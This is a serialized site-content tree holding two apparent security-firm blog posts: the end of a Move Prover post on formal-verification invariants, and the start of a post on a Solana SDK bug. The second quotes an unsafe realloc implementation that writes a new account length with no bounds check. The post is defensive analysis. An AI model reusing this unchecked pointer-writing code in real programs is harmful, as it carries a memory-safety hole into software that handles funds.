:168,"props":10374,"children":10375},{"style":393},[10376],{"type":24,"value":10340},{"type":19,"tag":168,"props":10378,"children":10379},{"style":212},[10380],{"type":24,"value":10381},", signer",{"type":19,"tag":168,"props":10383,"children":10384},{"style":399},[10385],{"type":24,"value":888},{"type":19,"tag":168,"props":10387,"children":10388},{"style":175},[10389],{"type":24,"value":4645},{"type":19,"tag":168,"props":10391,"children":10392},{"style":212},[10393],{"type":24,"value":500},{"type":19,"tag":168,"props":10395,"children":10396},{"style":393},[10397],{"type":24,"value":10398},"account",{"type":19,"tag":168,"props":10400,"children":10401},{"style":212},[10402],{"type":24,"value":4659},{"type":19,"tag":168,"props":10404,"children":10405},{"class":170,"line":694},[10406,10410,10414,10418,10422,10426,10430,10434,10438,10442],{"type":19,"tag":168,"props":10407,"children":10408},{"style":393},[10409],{"type":24,"value":5624},{"type":19,"tag":168,"props":10411,"children":10412},{"style":399},[10413],{"type":24,"value":10309},{"type":19,"tag":168,"props":10415,"children":10416},{"style":393},[10417],{"type":24,"value":4140},{"type":19,"tag":168,"props":10419,"children":10420},{"style":212},[10421],{"type":24,"value":3240},{"type":19,"tag":168,"props":10423,"children":10424},{"style":825},[10425],{"type":24,"value":10322},{"type":19,"tag":168,"props":10427,"children":10428},{"style":212},[10429],{"type":24,"value":3240},{"type":19,"tag":168,"props":10431,"children":10432},{"style":825},[10433],{"type":24,"value":10331},{"type":19,"tag":168,"props":10435,"children":10436},{"style":212},[10437],{"type":24,"value":4162},{"type":19,"tag":168,"props":10439,"children":10440},{"style":393},[10441],{"type":24,"value":10340},{"type":19,"tag":168,"props":10443,"children":10444},{"style":212},[10445],{"type":24,"value":1249},{"type":19,"tag":168,"props":10447,"children":10448},{"class":170,"line":707},[10449,10453,10457,10461,10466,10470,10475,10479,10483,10487,10491,10495,10499,10503,10507],{"type":19,"tag":168,"props":10450,"children":10451},{"style":393},[10452],{"type":24,"value":5624},{"type":19,"tag":168,"props":10454,"children":10455},{"style":393},[10456],{"type":24,"value":6600},{"type":19,"tag":168,"props":10458,"children":10459},{"style":399},[10460],{"type":24,"value":682},{"type":19,"tag":168,"props":10462,"children":10463},{"style":175},[10464],{"type":24,"value":10465}," old",{"type":19,"tag":168,"props":10467,"children":10468},{"style":212},[10469],{"type":24,"value":500},{"type":19,"tag":168,"props":10471,"children":10472},{"style":393},[10473],{"type":24,"value":10474},"global",{"type":19,"tag":168,"props":10476,"children":10477},{"style":212},[10478],{"type":24,"value":3240},{"type":19,"tag":168,"props":10480,"children":10481},{"style":825},[10482],{"type":24,"value":10322},{"type":19,"tag":168,"props":10484,"children":10485},{"style":212},[10486],{"type":24,"value":3240},{"type":19,"tag":168,"props":10488,"children":10489},{"style":825},[10490],{"type":24,"value":10331},{"type":19,"tag":168,"props":10492,"children":10493},{"style":212},[10494],{"type":24,"value":4162},{"type":19,"tag":168,"props":10496,"children":10497},{"style":393},[10498],{"type":24,"value":10340},{"type":19,"tag":168,"props":10500,"children":10501},{"style":212},[10502],{"type":24,"value":524},{"type":19,"tag":168,"props":10504,"children":10505},{"style":399},[10506],{"type":24,"value":948},{"type":19,"tag":168,"props":10508,"children":10509},{"style":212},[10510],{"type":24,"value":10511},"offered);\n",{"type":19,"tag":168,"props":10513,"children":10514},{"class":170,"line":725},[10515],{"type":19,"tag":168,"props":10516,"children":10517},{"style":212},[10518],{"type":24,"value":761},{"type":19,"tag":20,"props":10520,"children":10521},{},[10522],{"type":24,"value":10523},"These access control specifications make it impossible to accidentally remove security critical access control policies later.",{"type":19,"tag":7050,"props":10525,"children":10527},{"id":10526},"complex-mathematical-formulae",[10528],{"type":24,"value":10529},"Complex Mathematical Formulae",{"type":19,"tag":20,"props":10531,"children":10532},{},[10533,10535,10540],{"type":24,"value":10534},"Whether it's a decimal implementation or more complex data structures, it's often useful to verify that the expected output is ",{"type":19,"tag":293,"props":10536,"children":10537},{},[10538],{"type":24,"value":10539},"always",{"type":24,"value":10541}," the output.",{"type":19,"tag":20,"props":10543,"children":10544},{},[10545],{"type":24,"value":10546},"Proving that your fundamental data structures work exactly as intended will give you much more confidence in the remainder of your codebase.",{"type":19,"tag":20,"props":10548,"children":10549},{},[10550,10552,10559],{"type":24,"value":10551},"For example, in our work with ",{"type":19,"tag":269,"props":10553,"children":10556},{"href":10554,"rel":10555},"https://laminar.markets/",[273],[10557],{"type":24,"value":10558},"Laminar Markets",{"type":24,"value":10560},", we provided recommendations for verifying their internal splay tree implementation against a simpler priority queue data structure.",{"type":19,"tag":7050,"props":10562,"children":10564},{"id":10563},"data-invariants",[10565],{"type":24,"value":10566},"Data Invariants",{"type":19,"tag":20,"props":10568,"children":10569},{},[10570,10572,10578,10580,10586,10588,10594,10596,10602],{"type":24,"value":10571},"Formal verification provides the best environment to verify that certain ",{"type":19,"tag":27,"props":10573,"children":10575},{"className":10574},[],[10576],{"type":24,"value":10577},"variables",{"type":24,"value":10579}," or ",{"type":19,"tag":27,"props":10581,"children":10583},{"className":10582},[],[10584],{"type":24,"value":10585},"resources",{"type":24,"value":10587}," don't exceed the intended boundaries. Let's consider the struct from below. We can ensure that ",{"type":19,"tag":27,"props":10589,"children":10591},{"className":10590},[],[10592],{"type":24,"value":10593},"index",{"type":24,"value":10595}," is never greater than 4 using a ",{"type":19,"tag":27,"props":10597,"children":10599},{"className":10598},[],[10600],{"type":24,"value":10601},"struct invariant",{"type":24,"value":948},{"type":19,"tag":158,"props":10604,"children":10606},{"code":10605,"language":362,"meta":7,"className":363,"style":7},"struct Type {\n index: u64\n}\n\nspec Type {\n invariant index \u003C 4;\n}\n",[10607],{"type":19,"tag":27,"props":10608,"children":10609},{"__ignoreMap":7},[10610,10626,10643,10650,10657,10672,10696],{"type":19,"tag":168,"props":10611,"children":10612},{"class":170,"line":171},[10613,10617,10622],{"type":19,"tag":168,"props":10614,"children":10615},{"style":382},[10616],{"type":24,"value":6842},{"type":19,"tag":168,"props":10618,"children":10619},{"style":825},[10620],{"type":24,"value":10621}," Type",{"type":19,"tag":168,"props":10623,"children":10624},{"style":212},[10625],{"type":24,"value":691},{"type":19,"tag":168,"props":10627,"children":10628},{"class":170,"line":198},[10629,10634,10638],{"type":19,"tag":168,"props":10630,"children":10631},{"style":393},[10632],{"type":24,"value":10633}," index",{"type":19,"tag":168,"props":10635,"children":10636},{"style":399},[10637],{"type":24,"value":1922},{"type":19,"tag":168,"props":10639,"children":10640},{"style":825},[10641],{"type":24,"value":10642}," u64\n",{"type":19,"tag":168,"props":10644,"children":10645},{"class":170,"line":415},[10646],{"type":19,"tag":168,"props":10647,"children":10648},{"style":212},[10649],{"type":24,"value":1326},{"type":19,"tag":168,"props":10651,"children":10652},{"class":170,"line":450},[10653],{"type":19,"tag":168,"props":10654,"children":10655},{"emptyLinePlaceholder":14},[10656],{"type":24,"value":1093},{"type":19,"tag":168,"props":10658,"children":10659},{"class":170,"line":560},[10660,10664,10668],{"type":19,"tag":168,"props":10661,"children":10662},{"style":393},[10663],{"type":24,"value":5712},{"type":19,"tag":168,"props":10665,"children":10666},{"style":825},[10667],{"type":24,"value":10621},{"type":19,"tag":168,"props":10669,"children":10670},{"style":212},[10671],{"type":24,"value":691},{"type":19,"tag":168,"props":10673,"children":10674},{"class":170,"line":666},[10675,10679,10684,10688,10692],{"type":19,"tag":168,"props":10676,"children":10677},{"style":393},[10678],{"type":24,"value":5729},{"type":19,"tag":168,"props":10680,"children":10681},{"style":393},[10682],{"type":24,"value":10683}," index",{"type":19,"tag":168,"props":10685,"children":10686},{"style":399},[10687],{"type":24,"value":6157},{"type":19,"tag":168,"props":10689,"children":10690},{"style":192},[10691],{"type":24,"value":9190},{"type":19,"tag":168,"props":10693,"children":10694},{"style":212},[10695],{"type":24,"value":412},{"type":19,"tag":168,"props":10697,"children":10698},{"class":170,"line":694},[10699],{"type":19,"tag":168,"props":10700,"children":10701},{"style":212},[10702],{"type":24,"value":1326},{"type":19,"tag":20,"props":10704,"children":10705},{},[10706,10708,10715,10716,10722],{"type":24,"value":10707},"We were able to verify more complex properties in our recent audits for ",{"type":19,"tag":269,"props":10709,"children":10712},{"href":10710,"rel":10711},"https://layerzero.network/",[273],[10713],{"type":24,"value":10714},"LayerZero",{"type":24,"value":8436},{"type":19,"tag":269,"props":10717,"children":10720},{"href":10718,"rel":10719},"http://ariesmarkets.xyz/",[273],[10721],{"type":24,"value":4226},{"type":24,"value":10723},", but the details are left as an exercise to the reader.",{"type":19,"tag":7050,"props":10725,"children":10727},{"id":10726},"economic-invariants",[10728],{"type":24,"value":10729},"Economic Invariants.",{"type":19,"tag":20,"props":10731,"children":10732},{},[10733],{"type":24,"value":10734},"Proper economic invariants can require more creativity to come up with but can be extremely effective at securing your protocol.",{"type":19,"tag":20,"props":10736,"children":10737},{},[10738],{"type":24,"value":10739},"For example, you should never be able to drain coins from a pool by adding and removing shares. In practice, you might implement this as a utility helper function.",{"type":19,"tag":158,"props":10741,"children":10742},{"code":5404,"language":362,"meta":7,"className":363,"style":7},[10743],{"type":19,"tag":27,"props":10744,"children":10745},{"__ignoreMap":7},[10746,10753,10836,10875,10894,10901,10916,10939,10962,10985],{"type":19,"tag":168,"props":10747,"children":10748},{"class":170,"line":171},[10749],{"type":19,"tag":168,"props":10750,"children":10751},{"style":373},[10752],{"type":24,"value":5416},{"type":19,"tag":168,"props":10754,"children":10755},{"class":170,"line":198},[10756,10760,10764,10768,10772,10776,10780,10784,10788,10792,10796,10800,10804,10808,10812,10816,10820,10824,10828,10832],{"type":19,"tag":168,"props":10757,"children":10758},{"style":393},[10759],{"type":24,"value":4005},{"type":19,"tag":168,"props":10761,"children":10762},{"style":175},[10763],{"type":24,"value":5428},{"type":19,"tag":168,"props":10765,"children":10766},{"style":212},[10767],{"type":24,"value":500},{"type":19,"tag":168,"props":10769,"children":10770},{"style":393},[10771],{"type":24,"value":5437},{"type":19,"tag":168,"props":10773,"children":10774},{"style":399},[10775],{"type":24,"value":1922},{"type":19,"tag":168,"props":10777,"children":10778},{"style":825},[10779],{"type":24,"value":3294},{"type":19,"tag":168,"props":10781,"children":10782},{"style":212},[10783],{"type":24,"value":471},{"type":19,"tag":168,"props":10785,"children":10786},{"style":393},[10787],{"type":24,"value":5454},{"type":19,"tag":168,"props":10789,"children":10790},{"style":399},[10791],{"type":24,"value":1922},{"type":19,"tag":168,"props":10793,"children":10794},{"style":825},[10795],{"type":24,"value":3294},{"type":19,"tag":168,"props":10797,"children":10798},{"style":212},[10799],{"type":24,"value":524},{"type":19,"tag":168,"props":10801,"children":10802},{"style":399},[10803],{"type":24,"value":1922},{"type":19,"tag":168,"props":10805,"children":10806},{"style":212},[10807],{"type":24,"value":461},{"type":19,"tag":168,"props":10809,"children":10810},{"style":825},[10811],{"type":24,"value":5479},{"type":19,"tag":168,"props":10813,"children":10814},{"style":212},[10815],{"type":24,"value":471},{"type":19,"tag":168,"props":10817,"children":10818},{"style":825},[10819],{"type":24,"value":5479},{"type":19,"tag":168,"props":10821,"children":10822},{"style":212},[10823],{"type":24,"value":481},{"type":19,"tag":168,"props":10825,"children":10826},{"style":393},[10827],{"type":24,"value":3779},{"type":19,"tag":168,"props":10829,"children":10830},{"style":825},[10831],{"type":24,"value":5500},{"type":19,"tag":168,"props":10833,"children":10834},{"style":212},[10835],{"type":24,"value":691},{"type":19,"tag":168,"props":10837,"children":10838},{"class":170,"line":415},[10839,10843,10847,10851,10855,10859,10863,10867,10871],{"type":19,"tag":168,"props":10840,"children":10841},{"style":382},[10842],{"type":24,"value":5512},{"type":19,"tag":168,"props":10844,"children":10845},{"style":393},[10846],{"type":24,"value":5517},{"type":19,"tag":168,"props":10848,"children":10849},{"style":399},[10850],{"type":24,"value":402},{"type":19,"tag":168,"props":10852,"children":10853},{"style":175},[10854],{"type":24,"value":5526},{"type":19,"tag":168,"props":10856,"children":10857},{"style":212},[10858],{"type":24,"value":500},{"type":19,"tag":168,"props":10860,"children":10861},{"style":393},[10862],{"type":24,"value":5437},{"type":19,"tag":168,"props":10864,"children":10865},{"style":212},[10866],{"type":24,"value":471},{"type":19,"tag":168,"props":10868,"children":10869},{"style":393},[10870],{"type":24,"value":5454},{"type":19,"tag":168,"props":10872,"children":10873},{"style":212},[10874],{"type":24,"value":1249},{"type":19,"tag":168,"props":10876,"children":10877},{"class":170,"line":450},[10878,10882,10886,10890],{"type":19,"tag":168,"props":10879,"children":10880},{"style":175},[10881],{"type":24,"value":5554},{"type":19,"tag":168,"props":10883,"children":10884},{"style":212},[10885],{"type":24,"value":500},{"type":19,"tag":168,"props":10887,"children":10888},{"style":393},[10889],{"type":24,"value":5563},{"type":19,"tag":168,"props":10891,"children":10892},{"style":212},[10893],{"type":24,"value":557},{"type":19,"tag":168,"props":10895,"children":10896},{"class":170,"line":560},[10897],{"type":19,"tag":168,"props":10898,"children":10899},{"style":212},[10900],{"type":24,"value":3306},{"type":19,"tag":168,"props":10902,"children":10903},{"class":170,"line":666},[10904,10908,10912],{"type":19,"tag":168,"props":10905,"children":10906},{"style":393},[10907],{"type":24,"value":5582},{"type":19,"tag":168,"props":10909,"children":10910},{"style":393},[10911],{"type":24,"value":5428},{"type":19,"tag":168,"props":10913,"children":10914},{"style":212},[10915],{"type":24,"value":691},{"type":19,"tag":168,"props":10917,"children":10918},{"class":170,"line":694},[10919,10923,10927,10931,10935],{"type":19,"tag":168,"props":10920,"children":10921},{"style":393},[10922],{"type":24,"value":5598},{"type":19,"tag":168,"props":10924,"children":10925},{"style":393},[10926],{"type":24,"value":5603},{"type":19,"tag":168,"props":10928,"children":10929},{"style":399},[10930],{"type":24,"value":486},{"type":19,"tag":168,"props":10932,"children":10933},{"style":382},[10934],{"type":24,"value":5612},{"type":19,"tag":168,"props":10936,"children":10937},{"style":212},[10938],{"type":24,"value":412},{"type":19,"tag":168,"props":10940,"children":10941},{"class":170,"line":707},[10942,10946,10950,10954,10958],{"type":19,"tag":168,"props":10943,"children":10944},{"style":393},[10945],{"type":24,"value":5624},{"type":19,"tag":168,"props":10947,"children":10948},{"style":393},[10949],{"type":24,"value":5629},{"type":19,"tag":168,"props":10951,"children":10952},{"style":399},[10953],{"type":24,"value":5634},{"type":19,"tag":168,"props":10955,"children":10956},{"style":393},[10957],{"type":24,"value":5639},{"type":19,"tag":168,"props":10959,"children":10960},{"style":212},[10961],{"type":24,"value":412},{"type":19,"tag":168,"props":10963,"children":10964},{"class":170,"line":725},[10965,10969,10973,10977,10981],{"type":19,"tag":168,"props":10966,"children":10967},{"style":393},[10968],{"type":24,"value":5624},{"type":19,"tag":168,"props":10970,"children":10971},{"style":393},[10972],{"type":24,"value":5655},{"type":19,"tag":168,"props":10974,"children":10975},{"style":399},[10976],{"type":24,"value":5634},{"type":19,"tag":168,"props":10978,"children":10979},{"style":393},[10980],{"type":24,"value":5664},{"type":19,"tag":168,"props":10982,"children":10983},{"style":212},[10984],{"type":24,"value":412},{"type":19,"tag":168,"props":10986,"children":10987},{"class":170,"line":746},[10988],{"type":19,"tag":168,"props":10989,"children":10990},{"style":212},[10991],{"type":24,"value":3306},{"type":19,"tag":20,"props":10993,"children":10994},{},[10995],{"type":24,"value":10996},"Some other ideas include",{"type":19,"tag":2869,"props":10998,"children":10999},{},[11000,11005,11010],{"type":19,"tag":47,"props":11001,"children":11002},{},[11003],{"type":24,"value":11004},"Swapping through an AMM should never lead to a decrease in one side of the pool without also increasing the other side. In other words, no free money",{"type":19,"tag":47,"props":11006,"children":11007},{},[11008],{"type":24,"value":11009},"Lending protocols should always be fully collateralized after a series of deposit, borrow, and withdraw instructions.",{"type":19,"tag":47,"props":11011,"children":11012},{},[11013],{"type":24,"value":11014},"Orderbooks should never lose money after an order is placed and then canceled.",{"type":19,"tag":36,"props":11016,"children":11017},{"id":2742},[11018],{"type":24,"value":2745},{"type":19,"tag":20,"props":11020,"children":11021},{},[11022],{"type":24,"value":11023},"In this post, we've explored how to properly utilize the Move Prover to verify critical invariants about your codebase.",{"type":19,"tag":20,"props":11025,"children":11026},{},[11027],{"type":24,"value":11028},"In our upcoming posts, we will explore how to turn the Move Prover into a weapon for squashing security vulnerabilities by learning how to ask the right questions, so stay tuned!",{"type":19,"tag":20,"props":11030,"children":11031},{},[11032,11034,11039],{"type":24,"value":11033},"We're passionate about formal verification and pushing the edge of what's possible in Move security. If you have any thoughts, or would like to explore an audit, feel free to reach out to me ",{"type":19,"tag":269,"props":11035,"children":11037},{"href":6682,"rel":11036},[273],[11038],{"type":24,"value":6686},{"type":24,"value":948},{"type":19,"tag":232,"props":11041,"children":11042},{},[11043],{"type":24,"value":236},{"title":7,"searchDepth":198,"depth":198,"links":11045},[11046,11047,11050,11057],{"id":6746,"depth":198,"text":6749},{"id":6800,"depth":198,"text":6803,"children":11048},[11049],{"id":7052,"depth":415,"text":7047},{"id":9954,"depth":198,"text":9957,"children":11051},[11052,11053,11054,11055,11056],{"id":9970,"depth":415,"text":9973},{"id":10221,"depth":415,"text":10224},{"id":10526,"depth":415,"text":10529},{"id":10563,"depth":415,"text":10566},{"id":10726,"depth":415,"text":10729},{"id":2742,"depth":198,"text":2745},"content:blog:2022-09-16-move-prover.md","blog/2022-09-16-move-prover.md","blog/2022-09-16-move-prover",{"_path":11062,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":11063,"description":11064,"author":11065,"image":11066,"date":11070,"isFeatured":14,"onBlogPage":14,"tags":11071,"body":11072,"_type":242,"_id":16194,"_source":244,"_file":16195,"_stem":16196,"_extension":247},"/blog/2022-12-09-rust-realloc-and-references","Rust, Realloc, and References","Rust is safe.. right? Not if your dependencies are unsafe.. A deep dive into a subtle Solana SDK bug, Rust internals, and how we found it all.","ethan",{"src":11067,"height":11068,"width":11069},"/posts/rust-realloc-and-references/title.jpg",512,1024,"2022-12-09",[260,6710],{"type":16,"children":11073,"toc":16178},[11074,11102,11122,11792,11812,11823,11835,11968,11978,11984,12010,12351,12396,12723,12786,12799,12873,12941,12962,12975,12989,13338,13349,13354,13485,13536,13562,13574,13747,13883,13924,13961,14027,14032,14070,14124,14135,14278,14290,14296,14302,14335,14349,14471,14490,14518,14524,14614,14705,14711,14716,14763,15032,15107,15118,15145,15477,15489,15562,15835,15872,16174],{"type":19,"tag":20,"props":11075,"children":11076},{},[11077,11079,11085,11087,11092,11094,11100],{"type":24,"value":11078},"It all started with an audit of a program that used ",{"type":19,"tag":27,"props":11080,"children":11082},{"className":11081},[],[11083],{"type":24,"value":11084},"realloc",{"type":24,"value":11086}," on an account, without any bounds checks on the new size allowed. It seemed like the developers assumed that if the new size was too large, the ",{"type":19,"tag":27,"props":11088,"children":11090},{"className":11089},[],[11091],{"type":24,"value":11084},{"type":24,"value":11093}," call (from ",{"type":19,"tag":27,"props":11095,"children":11097},{"className":11096},[],[11098],{"type":24,"value":11099},"solana_program",{"type":24,"value":11101},") would error out appropriately.",{"type":19,"tag":20,"props":11103,"children":11104},{},[11105,11107,11113,11114,11121],{"type":24,"value":11106},"But we're not ones to just assume things around here, so let's take a look at how ",{"type":19,"tag":27,"props":11108,"children":11110},{"className":11109},[],[11111],{"type":24,"value":11112},"AccountInfo::realloc",{"type":24,"value":2934},{"type":19,"tag":269,"props":11115,"children":11118},{"href":11116,"rel":11117},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#124-148",[273],[11119],{"type":24,"value":11120},"implemented",{"type":24,"value":1922},{"type":19,"tag":158,"props":11123,"children":11125},{"className":363,"code":11124,"language":362,"meta":7,"style":7},"pub fn realloc(&self, new_len: usize, zero_init: bool) -> Result\u003C(), ProgramError> {\n let orig_len = self.data_len();\n\n // realloc\n unsafe {\n // First set new length in the serialized data\n let ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n *ptr = new_len as u64;\n\n // Then set the new length in the local slice\n let ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n *ptr = new_len as u64;\n }\n\n // zero-init if requested\n if zero_init && new_len > orig_len {\n sol_memset(\n &mut self.try_borrow_mut_data()?[orig_len..],\n 0,\n new_len.saturating_sub(orig_len),\n );\n }\n\n Ok(())\n}\n",[11126],{"type":19,"tag":27,"props":11127,"children":11128},{"__ignoreMap":7},[11129,11223,11257,11264,11272,11284,11292,11384,11417,11424,11432,11562,11593,11600,11607,11615,11649,11661,11710,11722,11751,11758,11765,11772,11785],{"type":19,"tag":168,"props":11130,"children":11131},{"class":170,"line":171},[11132,11137,11142,11147,11151,11155,11160,11164,11169,11173,11178,11182,11187,11191,11195,11199,11204,11209,11214,11219],{"type":19,"tag":168,"props":11133,"children":11134},{"style":382},[11135],{"type":24,"value":11136},"pub",{"type":19,"tag":168,"props":11138,"children":11139},{"style":382},[11140],{"type":24,"value":11141}," fn",{"type":19,"tag":168,"props":11143,"children":11144},{"style":175},[11145],{"type":24,"value":11146}," realloc",{"type":19,"tag":168,"props":11148,"children":11149},{"style":212},[11150],{"type":24,"value":500},{"type":19,"tag":168,"props":11152,"children":11153},{"style":399},[11154],{"type":24,"value":505},{"type":19,"tag":168,"props":11156,"children":11157},{"style":382},[11158],{"type":24,"value":11159},"self",{"type":19,"tag":168,"props":11161,"children":11162},{"style":212},[11163],{"type":24,"value":471},{"type":19,"tag":168,"props":11165,"children":11166},{"style":393},[11167],{"type":24,"value":11168},"new_len",{"type":19,"tag":168,"props":11170,"children":11171},{"style":399},[11172],{"type":24,"value":1922},{"type":19,"tag":168,"props":11174,"children":11175},{"style":825},[11176],{"type":24,"value":11177}," usize",{"type":19,"tag":168,"props":11179,"children":11180},{"style":212},[11181],{"type":24,"value":471},{"type":19,"tag":168,"props":11183,"children":11184},{"style":393},[11185],{"type":24,"value":11186},"zero_init",{"type":19,"tag":168,"props":11188,"children":11189},{"style":399},[11190],{"type":24,"value":1922},{"type":19,"tag":168,"props":11192,"children":11193},{"style":825},[11194],{"type":24,"value":9495},{"type":19,"tag":168,"props":11196,"children":11197},{"style":212},[11198],{"type":24,"value":481},{"type":19,"tag":168,"props":11200,"children":11201},{"style":399},[11202],{"type":24,"value":11203},"->",{"type":19,"tag":168,"props":11205,"children":11206},{"style":825},[11207],{"type":24,"value":11208}," Result",{"type":19,"tag":168,"props":11210,"children":11211},{"style":212},[11212],{"type":24,"value":11213},"\u003C(), ",{"type":19,"tag":168,"props":11215,"children":11216},{"style":825},[11217],{"type":24,"value":11218},"ProgramError",{"type":19,"tag":168,"props":11220,"children":11221},{"style":212},[11222],{"type":24,"value":4717},{"type":19,"tag":168,"props":11224,"children":11225},{"class":170,"line":198},[11226,11230,11235,11239,11244,11248,11253],{"type":19,"tag":168,"props":11227,"children":11228},{"style":382},[11229],{"type":24,"value":385},{"type":19,"tag":168,"props":11231,"children":11232},{"style":393},[11233],{"type":24,"value":11234}," orig_len",{"type":19,"tag":168,"props":11236,"children":11237},{"style":399},[11238],{"type":24,"value":402},{"type":19,"tag":168,"props":11240,"children":11241},{"style":382},[11242],{"type":24,"value":11243}," self",{"type":19,"tag":168,"props":11245,"children":11246},{"style":399},[11247],{"type":24,"value":948},{"type":19,"tag":168,"props":11249,"children":11250},{"style":175},[11251],{"type":24,"value":11252},"data_len",{"type":19,"tag":168,"props":11254,"children":11255},{"style":212},[11256],{"type":24,"value":1084},{"type":19,"tag":168,"props":11258,"children":11259},{"class":170,"line":415},[11260],{"type":19,"tag":168,"props":11261,"children":11262},{"emptyLinePlaceholder":14},[11263],{"type":24,"value":1093},{"type":19,"tag":168,"props":11265,"children":11266},{"class":170,"line":450},[11267],{"type":19,"tag":168,"props":11268,"children":11269},{"style":373},[11270],{"type":24,"value":11271}," // realloc\n",{"type":19,"tag":168,"props":11273,"children":11274},{"class":170,"line":560},[11275,11280],{"type":19,"tag":168,"props":11276,"children":11277},{"style":382},[11278],{"type":24,"value":11279}," unsafe",{"type":19,"tag":168,"props":11281,"children":11282},{"style":212},[11283],{"type":24,"value":691},{"type":19,"tag":168,"props":11285,"children":11286},{"class":170,"line":666},[11287],{"type":19,"tag":168,"props":11288,"children":11289},{"style":373},[11290],{"type":24,"value":11291}," // First set new length in the serialized data\n",{"type":19,"tag":168,"props":11293,"children":11294},{"class":170,"line":694},[11295,11299,11304,11308,11312,11316,11321,11326,11330,11335,11339,11343,11348,11352,11356,11360,11364,11368,11372,11376,11380],{"type":19,"tag":168,"props":11296,"children":11297},{"style":382},[11298],{"type":24,"value":456},{"type":19,"tag":168,"props":11300,"children":11301},{"style":393},[11302],{"type":24,"value":11303}," ptr",{"type":19,"tag":168,"props":11305,"children":11306},{"style":399},[11307],{"type":24,"value":402},{"type":19,"tag":168,"props":11309,"children":11310},{"style":382},[11311],{"type":24,"value":11243},{"type":19,"tag":168,"props":11313,"children":11314},{"style":399},[11315],{"type":24,"value":948},{"type":19,"tag":168,"props":11317,"children":11318},{"style":175},[11319],{"type":24,"value":11320},"try_borrow_mut_data",{"type":19,"tag":168,"props":11322,"children":11323},{"style":212},[11324],{"type":24,"value":11325},"()",{"type":19,"tag":168,"props":11327,"children":11328},{"style":399},[11329],{"type":24,"value":529},{"type":19,"tag":168,"props":11331,"children":11332},{"style":175},[11333],{"type":24,"value":11334},"as_mut_ptr",{"type":19,"tag":168,"props":11336,"children":11337},{"style":212},[11338],{"type":24,"value":11325},{"type":19,"tag":168,"props":11340,"children":11341},{"style":399},[11342],{"type":24,"value":948},{"type":19,"tag":168,"props":11344,"children":11345},{"style":175},[11346],{"type":24,"value":11347},"offset",{"type":19,"tag":168,"props":11349,"children":11350},{"style":212},[11351],{"type":24,"value":500},{"type":19,"tag":168,"props":11353,"children":11354},{"style":399},[11355],{"type":24,"value":1757},{"type":19,"tag":168,"props":11357,"children":11358},{"style":192},[11359],{"type":24,"value":1506},{"type":19,"tag":168,"props":11361,"children":11362},{"style":212},[11363],{"type":24,"value":481},{"type":19,"tag":168,"props":11365,"children":11366},{"style":382},[11367],{"type":24,"value":6280},{"type":19,"tag":168,"props":11369,"children":11370},{"style":399},[11371],{"type":24,"value":7259},{"type":19,"tag":168,"props":11373,"children":11374},{"style":382},[11375],{"type":24,"value":1142},{"type":19,"tag":168,"props":11377,"children":11378},{"style":825},[11379],{"type":24,"value":3294},{"type":19,"tag":168,"props":11381,"children":11382},{"style":212},[11383],{"type":24,"value":412},{"type":19,"tag":168,"props":11385,"children":11386},{"class":170,"line":707},[11387,11391,11396,11400,11405,11409,11413],{"type":19,"tag":168,"props":11388,"children":11389},{"style":399},[11390],{"type":24,"value":5188},{"type":19,"tag":168,"props":11392,"children":11393},{"style":393},[11394],{"type":24,"value":11395},"ptr",{"type":19,"tag":168,"props":11397,"children":11398},{"style":399},[11399],{"type":24,"value":402},{"type":19,"tag":168,"props":11401,"children":11402},{"style":393},[11403],{"type":24,"value":11404}," new_len",{"type":19,"tag":168,"props":11406,"children":11407},{"style":382},[11408],{"type":24,"value":6266},{"type":19,"tag":168,"props":11410,"children":11411},{"style":825},[11412],{"type":24,"value":3294},{"type":19,"tag":168,"props":11414,"children":11415},{"style":212},[11416],{"type":24,"value":412},{"type":19,"tag":168,"props":11418,"children":11419},{"class":170,"line":725},[11420],{"type":19,"tag":168,"props":11421,"children":11422},{"emptyLinePlaceholder":14},[11423],{"type":24,"value":1093},{"type":19,"tag":168,"props":11425,"children":11426},{"class":170,"line":746},[11427],{"type":19,"tag":168,"props":11428,"children":11429},{"style":373},[11430],{"type":24,"value":11431}," // Then set the new length in the local slice\n",{"type":19,"tag":168,"props":11433,"children":11434},{"class":170,"line":755},[11435,11439,11443,11447,11451,11455,11459,11464,11468,11472,11476,11480,11485,11490,11494,11498,11502,11506,11510,11514,11518,11522,11526,11530,11534,11538,11542,11546,11550,11554,11558],{"type":19,"tag":168,"props":11436,"children":11437},{"style":382},[11438],{"type":24,"value":456},{"type":19,"tag":168,"props":11440,"children":11441},{"style":393},[11442],{"type":24,"value":11303},{"type":19,"tag":168,"props":11444,"children":11445},{"style":399},[11446],{"type":24,"value":402},{"type":19,"tag":168,"props":11448,"children":11449},{"style":399},[11450],{"type":24,"value":4577},{"type":19,"tag":168,"props":11452,"children":11453},{"style":382},[11454],{"type":24,"value":1142},{"type":19,"tag":168,"props":11456,"children":11457},{"style":399},[11458],{"type":24,"value":7259},{"type":19,"tag":168,"props":11460,"children":11461},{"style":212},[11462],{"type":24,"value":11463},"(((",{"type":19,"tag":168,"props":11465,"children":11466},{"style":382},[11467],{"type":24,"value":11159},{"type":19,"tag":168,"props":11469,"children":11470},{"style":399},[11471],{"type":24,"value":948},{"type":19,"tag":168,"props":11473,"children":11474},{"style":212},[11475],{"type":24,"value":1120},{"type":19,"tag":168,"props":11477,"children":11478},{"style":399},[11479],{"type":24,"value":948},{"type":19,"tag":168,"props":11481,"children":11482},{"style":175},[11483],{"type":24,"value":11484},"as_ptr",{"type":19,"tag":168,"props":11486,"children":11487},{"style":212},[11488],{"type":24,"value":11489},"() 